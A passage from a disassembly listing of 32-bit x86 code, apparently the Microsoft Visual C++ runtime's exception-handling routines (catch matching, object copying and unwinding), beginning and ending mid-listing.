sub_41810F	endp


; =============== S U B	R O U T	I N E =======================================



sub_418136	proc near		; CODE XREF: sub_418074+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_742290, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_417F96
		and	byte_742290, 0
		add	esp, 0Ch
		retn
sub_418136	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418159	proc near		; CODE XREF: sub_416065+3AAp
					; DATA XREF: sub_414095o ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_418194
		cmp	[ebp+arg_8], 45h
		jz	short loc_418194
		cmp	[ebp+arg_8], 66h
		jnz	short loc_418181
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_417F96
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_418181:				; CODE XREF: sub_418159+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_418074
		jmp	short loc_4181A5
; ---------------------------------------------------------------------------


loc_418194:				; CODE XREF: sub_418159+7j
					; sub_418159+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_417E92


loc_4181A5:				; CODE XREF: sub_418159+39j
		add	esp, 10h
		pop	ebp
		retn
sub_418159	endp


; =============== S U B	R O U T	I N E =======================================



sub_4181AA	proc near		; CODE XREF: sub_417E92+2Cp
					; sub_417F96+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_4181CD
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_413E90
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_4145D0
		add	esp, 10h
		pop	esi


loc_4181CD:				; CODE XREF: sub_4181AA+7j
		pop	edi
		retn
sub_4181AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4181CF	proc near		; CODE XREF: seg001:00414278p
					; sub_4142E1+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_4181E5
		call	sub_418A72


loc_4181E5:				; CODE XREF: sub_4181CF+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_41820D
		cmp	dword ptr [esi+4], 0
		jz	short loc_418263
		cmp	[ebp+arg_14], 0
		jnz	short loc_418263
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_418516
		add	esp, 10h
		jmp	short loc_418263
; ---------------------------------------------------------------------------


loc_41820D:				; CODE XREF: sub_4181CF+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_418263
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_418247
		cmp	[eax+14h], edi
		jbe	short loc_418247
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_418247
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_418266
; ---------------------------------------------------------------------------


loc_418247:				; CODE XREF: sub_4181CF+4Aj
					; sub_4181CF+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_41826A
		add	esp, 20h


loc_418263:				; CODE XREF: sub_4181CF+23j
					; sub_4181CF+29j ...
		push	1
		pop	eax


loc_418266:				; CODE XREF: sub_4181CF+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4181CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41826A	proc near		; CODE XREF: sub_4181CF+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_41828A
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_41828F


loc_41828A:				; CODE XREF: sub_41826A+16j
		call	sub_418A72


loc_41828F:				; CODE XREF: sub_41826A+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_4183E6
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_418303
		cmp	[esi+14h], edi
		jnz	short loc_418303
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_418303
		mov	esi, dword_74229C
		test	esi, esi
		jz	loc_4183E1
		mov	eax, dword_7422A0
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_41BDAF
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4182E5
		call	sub_418A72


loc_4182E5:				; CODE XREF: sub_41826A+74j
		cmp	[esi], ebx
		jnz	loc_4183E6
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_418303
		cmp	[esi+14h], edi
		jnz	short loc_418303
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_418303
		call	sub_418A72


loc_418303:				; CODE XREF: sub_41826A+41j
					; sub_41826A+46j ...
		cmp	[esi], ebx
		jnz	loc_4183E6
		cmp	dword ptr [esi+10h], 3
		jnz	loc_4183E6
		cmp	[esi+14h], edi
		jnz	loc_4183E6
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41442F
		add	esp, 14h
		mov	ebx, eax


loc_41833A:				; CODE XREF: sub_41826A+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_4183D1
		cmp	[ebx], edi
		jg	short loc_4183C6
		cmp	edi, [ebx+4]
		jg	short loc_4183C6
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_4183C3


loc_41835F:				; CODE XREF: sub_41826A+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_418390


loc_418371:				; CODE XREF: sub_41826A+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_4184B9
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41839F
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_418371


loc_418390:				; CODE XREF: sub_41826A+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_41835F
		jmp	short loc_4183C3
; ---------------------------------------------------------------------------


loc_41839F:				; CODE XREF: sub_41826A+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_4185CA
		add	esp, 2Ch


loc_4183C3:				; CODE XREF: sub_41826A+F3j
					; sub_41826A+133j
		mov	edi, [ebp+var_10]


loc_4183C6:				; CODE XREF: sub_41826A+DEj
					; sub_41826A+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_41833A
; ---------------------------------------------------------------------------


loc_4183D1:				; CODE XREF: sub_41826A+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_4183E1
		push	1
		push	esi
		call	sub_41893F
		pop	ecx
		pop	ecx


loc_4183E1:				; CODE XREF: sub_41826A+56j
					; sub_41826A+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4183E6:				; CODE XREF: sub_41826A+37j
					; sub_41826A+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_41840C
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_418411
		add	esp, 20h
		jmp	short loc_4183E1
; ---------------------------------------------------------------------------


loc_41840C:				; CODE XREF: sub_41826A+180j
		jmp	sub_418A1C
sub_41826A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418411	proc near		; CODE XREF: sub_41826A+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_7422A4, 0
		push	esi
		push	edi
		jz	short loc_418442
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_414306
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_4184B5


loc_418442:				; CODE XREF: sub_418411+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41442F
		add	esp, 14h
		mov	esi, eax


loc_41845E:				; CODE XREF: sub_418411+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_4184B5
		cmp	edi, [esi]
		jl	short loc_4184AD
		cmp	edi, [esi+4]
		jg	short loc_4184AD
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_418487
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_4184AD


loc_418487:				; CODE XREF: sub_418411+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4185CA
		add	esp, 2Ch


loc_4184AD:				; CODE XREF: sub_418411+57j
					; sub_418411+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_41845E
; ---------------------------------------------------------------------------


loc_4184B5:				; CODE XREF: sub_418411+2Fj
					; sub_418411+53j
		pop	edi
		pop	esi
		leave
		retn
sub_418411	endp


; =============== S U B	R O U T	I N E =======================================



sub_4184B9	proc near		; CODE XREF: sub_41826A+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_418510
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_418510
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_4184EA
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41850C


loc_4184EA:				; CODE XREF: sub_4184B9+1Fj
		test	byte ptr [esi],	2
		jz	short loc_4184F4
		test	byte ptr [edi],	8
		jz	short loc_41850C


loc_4184F4:				; CODE XREF: sub_4184B9+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_418503
		test	byte ptr [edi],	1
		jz	short loc_41850C


loc_418503:				; CODE XREF: sub_4184B9+43j
		test	al, 2
		jz	short loc_418510
		test	byte ptr [edi],	2
		jnz	short loc_418510


loc_41850C:				; CODE XREF: sub_4184B9+2Fj
					; sub_4184B9+39j ...
		xor	eax, eax
		jmp	short loc_418513
; ---------------------------------------------------------------------------


loc_418510:				; CODE XREF: sub_4184B9+Bj
					; sub_4184B9+14j ...
		push	1
		pop	eax


loc_418513:				; CODE XREF: sub_4184B9+55j
		pop	edi
		pop	esi
		retn
sub_4184B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418516	proc near		; CODE XREF: sub_4181CF+34p
					; sub_4185CA+42p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41F7F0
		push	offset sub_41B124
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_418548:				; CODE XREF: sub_418516+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_4185A2
		cmp	esi, 0FFFFFFFFh
		jle	short loc_418557
		cmp	esi, [edi+4]
		jl	short loc_41855C


loc_418557:				; CODE XREF: sub_418516+3Aj
		call	sub_418A72


loc_41855C:				; CODE XREF: sub_418516+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_418577
		push	103h
		push	ebx
		push	eax
		call	sub_4189D0


loc_418577:				; CODE XREF: sub_418516+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_418597
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_4185B4
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_418597:				; CODE XREF: sub_418516+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_418548
; ---------------------------------------------------------------------------


loc_4185A2:				; CODE XREF: sub_418516+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418516	endp


; =============== S U B	R O U T	I N E =======================================



sub_4185B4	proc near		; CODE XREF: sub_418516+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_4185C5
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4185C5:				; CODE XREF: sub_4185B4+Cj
		jmp	sub_418A1C
sub_4185B4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4185CA	proc near		; CODE XREF: sub_41826A+151p
					; sub_418411+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_4185EC
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_41877B
		add	esp, 10h


loc_4185EC:				; CODE XREF: sub_4185CA+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_4185F8
		push	edi
		jmp	short loc_4185FB
; ---------------------------------------------------------------------------


loc_4185F8:				; CODE XREF: sub_4185CA+29j
		push	[ebp+arg_24]


loc_4185FB:				; CODE XREF: sub_4185CA+2Cj
		call	sub_414208
		mov	esi, [ebp+arg_1C]
		push	dword ptr [esi]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	edi
		call	sub_418516
		mov	eax, [esi+4]
		push	100h
		push	[ebp+arg_20]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	[ebp+arg_10]
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_0]
		call	sub_418645
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_418640
		push	edi
		push	eax
		call	sub_4141C6


loc_418640:				; CODE XREF: sub_4185CA+6Dj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4185CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418645	proc near		; CODE XREF: sub_4185CA+63p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41F800
		push	offset sub_41B124
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_74229C
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_7422A0
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_74229C, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_7422A0, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_41428D
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_41870B
		mov	eax, [ebp+var_2C]


loc_4186D2:				; CODE XREF: sub_4186EB+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418645	endp


; =============== S U B	R O U T	I N E =======================================



sub_4186E1	proc near		; DATA XREF: seg001:0041F810o
		push	dword ptr [ebp-14h]
		call	sub_418751
		pop	ecx
		retn
sub_4186E1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4186EB	proc near		; DATA XREF: seg001:0041F814o
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_4144EE
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_4186D2
sub_4186EB	endp

; ---------------------------------------------------------------------------


loc_418703:				; DATA XREF: seg001:0041F808o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_41870B	proc near		; CODE XREF: sub_418645+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_74229C, eax
		mov	eax, [ebp-20h]
		mov	dword_7422A0, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_418750
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_418750
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_418750
		cmp	[ebp-24h], ebx
		jnz	short locret_418750
		cmp	[ebp-2Ch], ebx
		jz	short locret_418750
		call	sub_414556
		push	eax
		push	edi
		call	sub_41893F
		pop	ecx
		pop	ecx

locret_418750:				; CODE XREF: sub_41870B+1Cj
					; sub_41870B+22j ...
		retn
sub_41870B	endp


; =============== S U B	R O U T	I N E =======================================



sub_418751	proc near		; CODE XREF: sub_4186E1+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_418778
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_418778
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_418778
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_418778
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_418778:				; CODE XREF: sub_418751+Cj
					; sub_418751+12j ...
		xor	eax, eax
		retn
sub_418751	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41877B	proc near		; CODE XREF: sub_4185CA+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41F818
		push	offset sub_41B124
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_418924
		cmp	byte ptr [eax+8], 0
		jz	loc_418924
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_418924
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_418818
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_41BDAF
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41891B
		push	1
		push	edi
		call	sub_41BDCB
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41891B
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_418809:				; CODE XREF: sub_41877B+F5j
		push	eax
		call	sub_4189A6
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_418920
; ---------------------------------------------------------------------------


loc_418818:				; CODE XREF: sub_41877B+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_418872
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_41BDAF
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41891B
		push	1
		push	edi
		call	sub_41BDCB
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41891B
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_4145D0
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_418920
		mov	eax, [edi]
		test	eax, eax
		jz	loc_418920
		add	esi, 8
		push	esi
		jmp	short loc_418809
; ---------------------------------------------------------------------------


loc_418872:				; CODE XREF: sub_41877B+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_4188BA
		call	sub_41BDAF
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_41891B
		push	1
		push	edi
		call	sub_41BDCB
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41891B
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_4189A6
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_4145D0
		add	esp, 0Ch
		jmp	short loc_418920
; ---------------------------------------------------------------------------


loc_4188BA:				; CODE XREF: sub_41877B+103j
		call	sub_41BDAF
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41891B
		push	1
		push	edi
		call	sub_41BDCB
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_41891B
		push	dword ptr [esi+18h]
		call	sub_41BDE7
		pop	ecx
		test	eax, eax
		jz	short loc_41891B
		test	byte ptr [esi],	4
		jz	short loc_418901
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_4189A6
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_414201
		jmp	short loc_418920
; ---------------------------------------------------------------------------


loc_418901:				; CODE XREF: sub_41877B+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_4189A6
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_4141FA
		jmp	short loc_418920
; ---------------------------------------------------------------------------


loc_41891B:				; CODE XREF: sub_41877B+6Aj
					; sub_41877B+7Cj ...
		call	sub_418A72


loc_418920:				; CODE XREF: sub_41877B+98j
					; sub_41877B+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh


loc_418924:				; CODE XREF: sub_41877B+2Ej
					; sub_41877B+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41877B	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_418A1C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41893F	proc near		; CODE XREF: sub_41826A+170p
					; sub_41870B+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41F828
		push	offset sub_41B124
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_418986
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_418986
		and	[ebp+var_4], 0
		push	ecx
		push	dword ptr [eax+18h]
		call	sub_4141FA
		or	[ebp+var_4], 0FFFFFFFFh


loc_418986:				; CODE XREF: sub_41893F+2Aj
					; sub_41893F+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41893F	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		cmp	[ebp+0Ch], al
		setnz	al
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_418A1C

; =============== S U B	R O U T	I N E =======================================



sub_4189A6	proc near		; CODE XREF: sub_41877B+8Fp
					; sub_41877B+12Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [ecx]
		mov	edx, [ecx+4]
		add	eax, esi
		test	edx, edx
		jl	short loc_4189C7
		mov	esi, [edx+esi]
		mov	ecx, [ecx+8]
		mov	ecx, [esi+ecx]
		add	ecx, edx
		add	eax, ecx


loc_4189C7:				; CODE XREF: sub_4189A6+12j
		pop	esi
		retn
sub_4189A6	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4189D0	proc near		; CODE XREF: sub_41428D+40p
					; sub_418516+5Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	ecx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	ebp
		push	[ebp+arg_8]
		mov	ecx, [ebp+arg_8]
		mov	ebp, [ebp+var_4]
